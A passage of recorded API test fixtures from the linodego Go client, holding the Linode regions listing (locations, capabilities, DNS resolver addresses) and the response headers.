1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestClient_APIResponseBadGateway.yaml000066400000000000000000000336051474652371000336760ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" 